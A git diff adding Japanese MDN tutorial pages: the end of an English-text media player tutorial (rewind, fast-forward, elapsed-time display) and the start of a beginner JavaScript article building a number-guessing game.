in the <code>setInterval()</code> calls. Add the following below your two previous functions:</p> + + <pre class="brush: js notranslate">function windBackward() { + if(media.currentTime <= 3) { + rwd.classList.remove('active'); + clearInterval(intervalRwd); + stopMedia(); + } else { + media.currentTime -= 3; + } +} + +function windForward() { + if(media.currentTime >= media.duration - 3) { + fwd.classList.remove('active'); + clearInterval(intervalFwd); + stopMedia(); + } else { + media.currentTime += 3; + } +}</pre> + + <p>Again, we'll just run through the first one of these functions as they work almost identically, but in reverse to one another. In <code>windBackward()</code> we do the following — bear in mind that when the interval is active, this function is being run once every 200 milliseconds.</p> + + <ol> + <li>We start off with an <code>if</code> statement that checks to see whether the current time is less than 3 seconds, i.e., if rewinding by another three seconds would take it back past the start of the video. This would cause strange behaviour, so if this is the case we stop the video playing by calling <code>stopMedia()</code>, remove the <code>active</code> class from the rewind button, and clear the <code>intervalRwd</code> interval to stop the rewind functionality. If we didn't do this last step, the video would just keep rewinding forever.</li> + <li>If the current time is not within 3 seconds of the start of the video, we simply remove three seconds from the current time by executing <code>media.currentTime -= 3</code>. So in effect, we are rewinding the video by 3 seconds, once every 200 milliseconds.</li> + </ol> + </li> +</ol> + +<h4 id="Updating_the_elapsed_time">Updating the elapsed time</h4> + +<p>The very last piece of our media player to implement is the time elapsed displays. To do this we'll run a function to update the time displays every time the {{event("timeupdate")}} event is fired on the <code><video></code> element. The frequency with which this event fires depends on your browser, CPU power, etc (<a href="http://stackoverflow.com/questions/9678177/how-often-does-the-timeupdate-event-fire-for-an-html5-video">see this stackoverflow post</a>).</p> + +<p>Add the following <code>addEventListener()</code> line just below the others:</p> + +<pre class="brush: js notranslate">media.addEventListener('timeupdate', setTime);</pre> + +<p>Now to define the <code>setTime()</code> function. Add the following at the bottom of your file:</p> + +<pre class="brush: js notranslate">function setTime() { + let minutes = Math.floor(media.currentTime / 60); + let seconds = Math.floor(media.currentTime - minutes * 60); + let minuteValue; + let secondValue; + + if (minutes < 10) { + minuteValue = '0' + minutes; + } else { + minuteValue = minutes; + } + + if (seconds < 10) { + secondValue = '0' + seconds; + } else { + secondValue = seconds; + } + + let mediaTime = minuteValue + ':' + secondValue; + timer.textContent = mediaTime; + + let barLength = timerWrapper.clientWidth * (media.currentTime/media.duration); + timerBar.style.width = barLength + 'px'; +} +</pre> + +<p>This is a fairly long function, so let's go through it step by step:</p> + +<ol> + <li>First of all, we work out the number of minutes and seconds in the {{domxref("HTMLMediaElement.currentTime")}} value.</li> + <li>Then we initialize two more variables — <code>minuteValue</code> and <code>secondValue</code>.</li> + <li>The two <code>if</code> statements work out whether the number of minutes and seconds are less than 10. If so, they add a leading zero to the values, in the same way that a digital clock display works.</li> + <li>The actual time value to display is set as <code>minuteValue</code> plus a colon character plus <code>secondValue</code>.</li> + <li>The {{domxref("Node.textContent")}} value of the timer is set to the time value, so it displays in the UI.</li> + <li>The length we should set the inner <code><div></code> to is worked out by first working out the width of the outer <code><div></code> (any element's {{domxref("Element.clientWidth", "clientWidth")}} property will contain its length), and then multiplying it by the {{domxref("HTMLMediaElement.currentTime")}} divided by the total {{domxref("HTMLMediaElement.duration")}} of the media.</li> + <li>We set the width of the inner <code><div></code> to equal the calculated bar length, plus "px", so it will be set to that number of pixels.</li> +</ol> + +<h4 id="Fixing_play_and_pause">Fixing play and pause</h4> + +<p>There is one problem left to fix. If the play/pause or stop buttons are pressed while the rewind or fast forward functionality is active, they just don't work. How can we fix it so that they cancel the <code>rwd</code>/<code>fwd</code> button functionality and play/stop the video as you'd expect? This is fairly easy to fix.</p> + +<p>First of all, add the following lines inside the <code>stopMedia()</code> function — anywhere will do:</p> + +<pre class="brush: js notranslate">rwd.classList.remove('active'); +fwd.classList.remove('active'); +clearInterval(intervalRwd); +clearInterval(intervalFwd); +</pre> + +<p>Now add the same lines again, at the very start of the <code>playPauseMedia()</code> function (just before the start of the <code>if</code> statement).</p> + +<p>At this point, you could delete the equivalent lines from the <code>windBackward()</code> and <code>windForward()</code> functions, as that functionality has been implemented in the <code>stopMedia()</code> function instead.</p> + +<p>Note: You could also further improve the efficiency of the code by creating a separate function that runs these lines, then calling that anywhere it is needed, rather than repeating the lines multiple times in the code. But we'll leave that one up to you.</p> + +<h2 id="Summary">Summary</h2> + +<p>I think we've taught you enough in this article. The {{domxref("HTMLMediaElement")}} API makes a wealth of functionality available for creating simple video and audio players, and that's only the tip of the iceberg. See the "See also" section below for links to more complex and interesting functionality.</p> + +<p>Here are some suggestions for ways you could enhance the existing example we've built up:</p> + +<ol> + <li> + <p>The time display currently breaks if the video is an hour long or more (well, it won't display hours; just minutes and seconds). Can you figure out how to change the example to make it display hours?</p> + </li> + <li> + <p>Because <code><audio></code> elements have the same {{domxref("HTMLMediaElement")}} functionality available to them, you could easily get this player to work for an <code><audio></code> element too. Try doing so.</p> + </li> + <li> + <p>Can you work out a way to turn the timer inner <code><div></code> element into a true seek bar/scrobbler — i.e., when you click somewhere on the bar, it jumps to that relative position in the video playback? As a hint, you can find out the X and Y values of the element's left/right and top/bottom sides via the <code><a href="/en-US/docs/Web/API/Element/getBoundingClientRect">getBoundingClientRect()</a></code> method, and you can find the coordinates of a mouse click via the event object of the click event, called on the {{domxref("Document")}} object. For example:</p> + + <pre class="brush: js notranslate">document.onclick = function(e) { + console.log(e.x) + ',' + console.log(e.y) +}</pre> + </li> +</ol> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{domxref("HTMLMediaElement")}}</li> + <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Video and audio content</a> — simple guide to <code><video></code> and <code><audio></code> HTML.</li> + <li><a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_delivery">Audio and video delivery</a> — detailed guide to delivering media inside the browser, with many tips, tricks, and links to further more advanced tutorials.</li> + <li><a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_manipulation">Audio and video manipulation</a> — detailed guide to manipulating audio and video, e.g. with <a href="/en-US/docs/Web/API/Canvas_API">Canvas API</a>, <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a>, and more.</li> + <li>{{htmlelement("video")}} and {{htmlelement("audio")}} reference pages.</li> + <li><a href="/en-US/docs/Web/Media/Formats">Guide to media types and formats on the web</a></li> +</ul> + +<p>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Learn/JavaScript/Client-side_web_APIs/Client-side_storage", "Learn/JavaScript/Client-side_web_APIs")}}</p> + +<h2 id="このモジュール">このモジュール</h2> + +<ul> + <li><a href="/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">Web API の紹介</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">ドキュメントの操作</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">サーバからのデータ取得</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs">サードパーティ API</a></li> + <li><a href="/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">グラフィックの描画</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">動画と音声の API</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">クライアント側ストレージ</a></li> +</ul> diff --git a/files/ja/learn/javascript/first_steps/a_first_splash/index.html b/files/ja/learn/javascript/first_steps/a_first_splash/index.html new file mode 100644 index 0000000000..3281944f5b --- /dev/null +++ b/files/ja/learn/javascript/first_steps/a_first_splash/index.html @@ -0,0 +1,610 @@ +--- +title: JavaScriptへの最初のダイブ +slug: Learn/JavaScript/First_steps/A_first_splash +tags: + - CodingScripting + - Conditionals + - JavaScript + - Objects + - Operators + - events + - 'l10n:priority' + - 初心者 + - 変数 + - 学習 + - 記事 + - 関数 +translation_of: Learn/JavaScript/First_steps/A_first_splash +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_is_JavaScript", "Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps")}}</div> + +<p class="summary">JavaScript の理論、そしてそれを使ってできることについて学んだところで、完全に実用的なチュートリアルを通じて、JavaScript の基本的な機能についての短期集中コースをお見せします。ここでは、簡単な「数字を当てる」ゲームをステップバイステップで構築します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターの知識および HTML と CSS への理解、JavaScript とは何かを知っている。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>簡単な JavaScript を書いてみて、JavaScript のプログラムを書くために必要な知識を会得する。</td> + </tr> + </tbody> +</table> + +<p>ここでは、JavaScript (とその他のプログラミング言語) がどのように動くのかという高度なコンセプトを紹介したいので、一度ですべての詳細を理解する必要はありません。詳細については続く記事にてご紹介しますので！</p> + +<div class="note"> +<p><strong>注記</strong>: JavaScript の機能として紹介する、関数や繰り返しなどの機能は、ほとんどが他のプログラミング言語にもあります。書き方は異なりますが、コンセプトは大体同じです。</p> +</div> + +<h2 id="Thinking_like_a_programmer" name="Thinking_like_a_programmer">プログラマーのように考える</h2> + +<p>プログラミングで一番難しいのは、書き方を覚えることではなく、現実の問題にどう適用するかということです。プログラマーのように考え始める必要があります — それは一般的に、そのプログラムが何をしなければならないかという説明を見て、それを満たすためにコードのどんな機能を用いるかを考え、さらにそれを組み合わせていかなければなりません。</p> + +<p>これには努力・プログラミング文法の経験・練習に加え、少しの想像力が必要です。たくさんコードを書けばもっと慣れていくでしょう。たったの 5分で「プログラマー脳」を開発することは約束できませんが、このコースを通じてプログラマーのように考えるたくさんの機会を提供したいと思います。</p> + +<p>まずはそれを念頭に置いてから、この記事で作るプログラムの実例を見てみましょう。さらにその後、具体的な手順に落とし込む方法について学習しましょう。</p> + +<h2 id="Example_—_Guess_the_number_game" name="Example_—_Guess_the_number_game">例: 数字当てゲーム</h2> + +<p>この記事では、以下に示す簡単なゲームを作る方法を紹介します。</p> + +<div class="hidden"> +<h6 id="Top_hidden_code" name="Top_hidden_code">Top hidden code</h6> + +<pre class="brush: html line-numbers language-html notranslate"><!DOCTYPE html> +<html> + +<head> + <meta charset="utf-8"> + <title>数字当てゲーム</title> + <style> + html { + font-family: sans-serif; + } + + body { + width: 50%; + max-width: 800px; + min-width: 480px; + margin: 0 auto; + } + + .lastResult { + color: white; + padding: 3px; + } + </style> +</head> + +<body> + <h1>数字当てゲーム</h1> + <p>1 から 100 までの数字を当ててみて！10 回以内に当てられるでしょうか。選んだ数字が大きいか小さいかを表示します。</p> + <div class="form"> <label for="guessField">予想を入力してください: </label><input type="text" id="guessField" class="guessField"> <input type="submit" value="予想を入力" class="guessSubmit"> </div> + <div class="resultParas"> + <p class="guesses"></p> + <p class="lastResult"></p> + <p class="lowOrHi"></p> + </div> +</body> +<script> + // JavaScript はここから +<code class="language-html"><span class="script token"><span class="language-javascript token"><span class="keyword token"> let</span> randomNumber <span class="operator token">=</span> Math<span class="punctuation token">.</span><span class="function token">floor</span><span class="punctuation token">(</span>Math<span class="punctuation token">.</span><span class="function token">random</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">*</span> <span class="number token">100</span><span class="punctuation token">)</span> <span class="operator token">+</span> <span class="number token">1</span><span class="punctuation token">;</span> + <span class="keyword token">const</span> guesses <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.guesses'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="keyword token">const</span> lastResult <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.lastResult'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="keyword token">const</span> lowOrHi <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.lowOrHi'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="keyword token">const</span> guessSubmit <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.guessSubmit'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="keyword token">const</span> guessField <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.guessField'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="keyword token">let</span> guessCount <span class="operator token">=</span> <span class="number token">1</span><span class="punctuation token">;</span> + <span class="keyword token">let</span> resetButton<span class="punctuation token">;</span></span></span></code> + function checkGuess() { + let userGuess = Number(guessField.value); + if (guessCount === 1) { + guesses.textContent = '前回の予想: '; + } + + guesses.textContent += userGuess + ' '; + + if (userGuess === randomNumber) { + lastResult.textContent = 'おめでとう! 正解です!'; + lastResult.style.backgroundColor = 'green'; + lowOrHi.textContent = ''; + setGameOver(); + } else if (guessCount === 10) { + lastResult.textContent = '!!!ゲームオーバー!!!'; + lowOrHi.textContent = ''; + setGameOver(); + } else { + lastResult.textContent = '間違いです!'; + lastResult.style.backgroundColor = 'red'; + if(userGuess < randomNumber) { + lowOrHi.textContent='今の予想は小さすぎです!もっと大きな数字です。' ; + } else if(userGuess > randomNumber) { + lowOrHi.textContent = '今の予想は大きすぎです!もっと小さな数字です。'; + } + } + + <code class="language-html"><span class="script token"><span class="language-javascript token">guessCount<span class="operator token">++</span><span class="punctuation token">;</span> + guessField<span class="punctuation token">.</span>value <span class="operator token">=</span> <span class="string token">''</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + + guessSubmit<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span> checkGuess<span class="punctuation token">)</span><span class="punctuation token">;</span> + + <span class="keyword token">function</span> <span class="function token">setGameOver</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + guessField<span class="punctuation token">.</span>disabled <span class="operator token">=</span> <span class="boolean token">true</span><span class="punctuation token">;</span> + guessSubmit<span class="punctuation token">.</span>disabled <span class="operator token">=</span> <span class="boolean token">true</span><span class="punctuation token">;</span> + resetButton <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">'button'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + resetButton<span class="punctuation token">.</span>textContent <span class="operator token">=</span> <span class="string token">'Start new game'</span><span class="punctuation token">;</span> + document<span class="punctuation token">.</span>body<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>resetButton<span class="punctuation token">)</span><span class="punctuation token">;</span> + resetButton<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span> resetGame<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + + <span class="keyword token">function</span> <span class="function token">resetGame</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + guessCount <span class="operator token">=</span> <span class="number token">1</span><span class="punctuation token">;</span> + <span class="keyword token">const</span> resetParas <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelectorAll</span><span class="punctuation token">(</span><span class="string token">'.resultParas p'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="keyword token">for</span><span class="punctuation token">(</span><span class="keyword token">let</span> i <span class="operator token">=</span> <span class="number token">0</span> <span class="punctuation token">;</span> i <span class="operator token"><</span> resetParas<span class="punctuation token">.</span>length <span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + resetParas<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span>textContent <span class="operator token">=</span> <span class="string token">''</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + + resetButton<span class="punctuation token">.</span>parentNode<span class="punctuation token">.</span><span class="function token">removeChild</span><span class="punctuation token">(</span>resetButton<span class="punctuation token">)</span><span class="punctuation token">;</span> + guessField<span class="punctuation token">.</span>disabled <span class="operator token">=</span> <span class="boolean token">false</span><span class="punctuation token">;</span> + guessSubmit<span class="punctuation token">.</span>disabled <span class="operator token">=</span> <span class="boolean token">false</span><span class="punctuation token">;</span> + guessField<span class="punctuation token">.</span>value <span class="operator token">=</span> <span class="string token">''</span><span class="punctuation token">;</span> + guessField<span class="punctuation token">.</span><span class="function token">focus</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + lastResult<span class="punctuation token">.</span>style<span class="punctuation token">.</span>backgroundColor <span class="operator token">=</span> <span class="string token">'white'</span><span class="punctuation token">;</span> + randomNumber <span class="operator token">=</span> Math<span class="punctuation token">.</span><span class="function token">floor</span><span class="punctuation token">(</span>Math<span class="punctuation token">.</span><span class="function token">random</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">*</span> <span class="number token">100</span><span class="punctuation token">)</span> <span class="operator token">+</span> <span class="number token">1</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> +</span></span><span class="tag token"><span class="tag token"><span class="punctuation token"></</span>script</span><span class="punctuation token">></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>body</span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>html</span><span class="punctuation token">></span></span></code></pre> +</div> + +<p>{{ EmbedLiveSample('Top_hidden_code', '100%', 320, "", "", "hide-codepen-jsfiddle") }}</p> + +<p>さあ、ゲームで遊んでみてください。次に進む前にゲームに慣れておきましょう。</p> + +<p>上司から、次のように作るゲームの概要を聞いたところを想像してみてください。</p> + +<blockquote> +<p>数字を予想する単純なゲームを作って欲しい。ランダムな 1 から 100 の数字を決めて、プレイヤーに 10 回以内に当ててもらうゲームだ。プレイヤーには予想する都度、正解か間違いかを表示する。もしプレイヤーが間違っていれば、プレイヤーが予想した数字に応じて、大きすぎるか小さすぎるかを表示する。また、プレイヤーの前回の予想がどうだったかも表示する。ゲームはプレイヤーの予想が正しかった場合、もしくは回数の上限に達した場合に終了する。ゲームが終了したら、プレイヤーはもう一度プレイ開始できるようにする。</p> +</blockquote> + +<p>できるだけプログラマーのように考えると、この概要から最初に行うべきことは、簡潔な実行可能な単位に分割することです。</p> + +<ol> + <li>1 から 100 までの数字をランダムに一つ生成する。</li> + <li>プレイヤーの予想した回数を記録する。最初は 1 回から。</li> + <li>プレイヤーが数字が何かを予想する方法を用意する。</li> + <li>予想が入力されたら、プレイヤーが以前の予想を見られるように、どこかに記録する。</li> + <li>入力された数字が正しいかどうかを調べる。</li> + <li>入力された数字が正しい場合... + <ol> + <li>正解したお祝いのメッセージを表示する。</li> + <li>プレイヤーが次の予想を出来ないようにする。(ゲームがおかしくならないように)</li> + <li>プレイヤーが次のゲームを始められるようなコントロールを表示する。</li> + </ol> + </li> + <li>プレイヤーの予想が間違いで、予想回数の上限にはまだ達していない場合... + <ol> + <li>プレイヤーが間違っていることを表示する。</li> + <li>次の予想を入力できるようにする。</li> + <li>予想回数に 1 を加算する。</li> + </ol> + </li> + <li>プレイヤーの予想が間違いで、予想回数の上限に達した場合... + <ol> + <li>プレイヤーにゲームオーバーであることを伝える。</li> + <li>プレイヤーが次の予想を出来ないようにする。(ゲームがおかしくならないように)</li> + <li>プレイヤーが次のゲームを始められるようなコントロールを表示する。</li> + </ol> + </li> + <li>ゲームがもう一度始まったら、画面とロジックが完全にリセットされるようにして、1.に戻る。</li> +</ol> + +<p>さあ、先に進みましょう。この手順をどのようにコードにするのか見て、JavaScript の機能を探求していきましょう。</p> + +<h3 id="Initial_setup" name="Initial_setup">まず初めに</h3> + +<p>チュートリアルを開始するにあたり、自分のコンピューターに <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game-start.html">number-guessing-game-start.html</a> ファイル (<a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/first-splash/number-guessing-game-start.html">こちらでデモが見られます</a>) をコピーしてください。テキストエディターとブラウザーの両方でそのファイルを開いてください。すると、簡単な見出しと説明の段落、予想を入力するフォームが見えるでしょう。ただし、そのフォームはまだ何もできません。</p> + +<p>コードを入力するのはすべて HTML の一番下にある {{htmlelement("script")}} 要素の中です。</p> + +<pre class="brush: html notranslate"><script> + + // JavaScript をここに書きます + +</script> +</pre> + +<h3 id="Adding_variables_to_store_our_data" name="Adding_variables_to_store_our_data">データを保持する変数を追加する</h3> + +<p>始めましょう。まず、{{htmlelement("script")}} 要素の中に以下の内容を書いてみてください。</p> + +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">let</span> randomNumber <span class="operator token">=</span> Math<span class="punctuation token">.</span><span class="function token">floor</span><span class="punctuation token">(</span>Math<span class="punctuation token">.</span><span class="function token">random</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">*</span> <span class="number token">100</span><span class="punctuation token">)</span> <span class="operator token">+</span> <span class="number token">1</span><span class="punctuation token">;</span> + +<span class="keyword token">const</span> guesses <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.guesses'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">const</span> lastResult <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.lastResult'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">const</span> lowOrHi <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.lowOrHi'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="keyword token">const</span> guessSubmit <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.guessSubmit'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">const</span> guessField <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.guessField'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="keyword token">let</span> guessCount <span class="operator token">=</span> <span class="number token">1</span><span class="punctuation token">;</span> +<span class="keyword token">let</span> resetButton<span class="punctuation token">;</span></code></pre> + +<p>上記のコードはプログラムが使用するデータを保持する変数と定数をセットアップしています。変数とは基本的には値 (数字や文字など) の入れ物です。 <code>let</code> (か <code>var</code>) キーワードに続いて変数の名前を書くことで、変数を作成します (これらのキーワードの違いは<a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Variables#The_difference_between_var_and_let">以降の記事</a>で見ます) 。定数は変更しない値を保持するのに、 <code>const</code> キーワードといっしょに使います。この場合では、定数をユーザーインターフェイスのパーツへの参照を保存するのに使っていて、一部の内部のテキストは変わるかも知れませんが、参照されるHTML要素は同じままです。</p> + +<p>等号記号 ( <code>=</code> ) に続いて、与えたい値を書いて、変数や定数に値を代入できます。</p> + +<p>この例では:</p> + +<ul> + <li>最初の変数 ( <code>randomNumber</code> ) には数学的なアルゴリズムにより計算された 1 から 100 までのランダムな数字が代入されます。</li> + <li>続く 3 つの変数 ( <code>guesses</code>、<code>lastResult</code>、<code>lowOrHi</code> ) には、以下に示す HTML の段落の場所がそれぞれに保持されます。後ほど段落に値を追加するために使用します。 (すべて<code><div></code> 要素内にあり、後にゲーム再開時にリセットするのにすべてを選択するのに使われるのに注意してください): + <pre class="brush: html line-numbers language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>resultParas<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>p</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>guesses<span class="punctuation token">"</span></span><span class="punctuation token">></span></span><span class="tag token"><span class="tag token"><span class="punctuation token"></</span>p</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>p</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>lastResult<span class="punctuation token">"</span></span><span class="punctuation token">></span></span><span class="tag token"><span class="tag token"><span class="punctuation token"></</span>p</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>p</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>lowOrHi<span class="punctuation token">"</span></span><span class="punctuation token">></span></span><span class="tag token"><span class="tag token"><span class="punctuation token"></</span>p</span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>div</span><span class="punctuation token">></span></span></code></pre> + </li> + <li>次の 2 つの定数はにはテキスト入力フォームおよび送信ボタンへの参照が保持され、後で予想の送信をコントロールする際に使用されます。 + <pre class="brush: html notranslate"><label for="guessField">予想を入力してください: </label><input type="text" id="guessField" class="guessField"> +<input type="submit" value="予想を投稿" class="guessSubmit"></pre> + </li> + <li>最後の 2 つの変数はプレイヤーが予想した回数を記録するため 1 を (プレイヤーが何回予想したかの回数を追跡します) 、そしてまだ存在していない(あとで追加する)リセットボタンへの参照を保持します。</li> +</ul> + +<div class="note"> +<p><strong>注記</strong>: 変数や定数についてはこのコースの間に、<a href="https://developer.mozilla.org/ja/docs/user:chrisdavidmills/variables">次の記事</a>を始めとして何度も出てきます。</p> +</div> + +<h3 id="Functions" name="Functions">関数</h3> + +<p>次に、以下のコードを先ほどの JavaScript に追加してください。</p> + +<pre class="brush: js notranslate">function checkGuess() { + alert('ここはプレースホルダです'); +}</pre> + +<p>関数は再利用可能なコードのかたまりです。何度も実行することができ、同じコードを書く手間を省けます。これはとても便利です。関数の書き方 (定義の仕方) はいくつかありますが、今回は集中するために、一つの簡単な書き方だけを使用します。ここでは <code>function</code> キーワードに続いて関数の名前、括弧 ( <code>()</code> )、中括弧 ( <code>{ }</code> )が続く書き方で定義しました。中括弧の中に、関数を呼ぶたびに実行されるコードを書きます。</p> + +<p>関数を実行したい場合には、関数の名前に続いて括弧を書きます。</p> + +<p>それでは試してみましょう。コードを保存してブラウザーを再読み込みしてみてください。<a href="/ja/docs/Learn/Common_questions/What_are_browser_developer_tools">開発者ツールの JavaScript コンソール</a>を開いてください。そして次のコードを実行します。</p> + +<pre class="brush: js notranslate">checkGuess();</pre> + +<p><kbd>Return</kbd>/<kbd>Enter</kbd> を押した後で、"ここはプレースホルダです"という警告が表示されましたね。呼び出すと、いつでも警告が表示される関数を定義することができました。</p> + +<div class="note"> +<p><strong>注記</strong>: 関数についても<a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Functions">このコースの後の方で</a>詳しく学びます。</p> +</div> + +<h3 id="Operators" name="Operators">演算子</h3> + +<p>JavaScript で演算子を使用して値の確認をしたり、計算したり、文字を結合したりなど、いろいろなことができます。</p> + +<p>コードを保存してブラウザーを再読み込みしてみてください。まだ開いていなければ、<a href="/ja/docs/Learn/Common_questions/What_are_browser_developer_tools">開発者ツールの JavaScript コンソール</a>を開いて、表の「例」の列に書いてある通りに入力してみましょう。例を一つ入力したら、その都度 <kbd>Return</kbd>/<kbd>Enter</kbd> キーを押してください。結果が表示されるはずです。</p> + +<p>まずは算術演算子の例を見てください。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">演算子</th> + <th scope="col">名前</th> + <th scope="col">例</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>+</code></td> + <td>加算</td> + <td><code>6 + 9</code></td> + </tr> + <tr> + <td><code>-</code></td> + <td>減算</td> + <td><code>20 - 15</code></td> + </tr> + <tr> + <td><code>*</code></td> + <td>乗算</td> + <td><code>3 * 7</code></td> + </tr> + <tr> + <td><code>/</code></td> + <td>除算</td> + <td><code>10 / 5</code></td> + </tr> + </tbody> +</table> + +<p>また、 <code>+</code> 演算子は 2 つの文字を繋げて一つにするときにも使います。(プログラミングでは文字列を<em>結合</em>すると言います。) 下の例も試してみてください。</p> + +<pre class="brush: js notranslate">let name = 'ビンゴさん'; +name; +let hello = 'が、こんにちは！と言っています。'; +hello; +let greeting = name + hello; +greeting;</pre> + +<p>累算<a href="https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">代入演算子</a>と呼ばれるもっと短い書き方もあります。すでにある文字列に、さらに文字を追加した結果を返したい場合などに使います。例えば、</p> + +<pre class="brush: js notranslate">name += 'が、こんにちは！と言っています。';</pre> + +<p>のように書いたとき、次と同じです:</p> + +<pre class="brush: js notranslate">name = name + 'が、こんにちは！と言っています。';</pre> + +<p>true/false テスト（例えば条件内 - {{anch("Conditionals", "below")}}参照）を実行しているとき、<a href="/ja/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">比較演算子</a>を使用します。例えば：</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">演算子</th> + <th scope="col">名前</th> + <th scope="col">例</th> + </tr> + <tr> + <td><code>===</code></td> + <td>厳密に等しい (全く同じかどうか)</td> + <td> + <pre class="brush: js line-numbers language-js notranslate"> +<code class="language-js"><span class="number token">5</span> <span class="operator token">===</span> <span class="number token">2</span> <span class="operator token">+</span> <span class="number token">4</span> <span class="comment token">// false</span> +<span class="string token">'Chris'</span> <span class="operator token">===</span> <span class="string token">'Bob'</span> <span class="comment token">// false</span> +<span class="number token">5</span> <span class="operator token">===</span> <span class="number token">2</span> <span class="operator token">+</span> <span class="number token">3</span> <span class="comment token">// true</span> 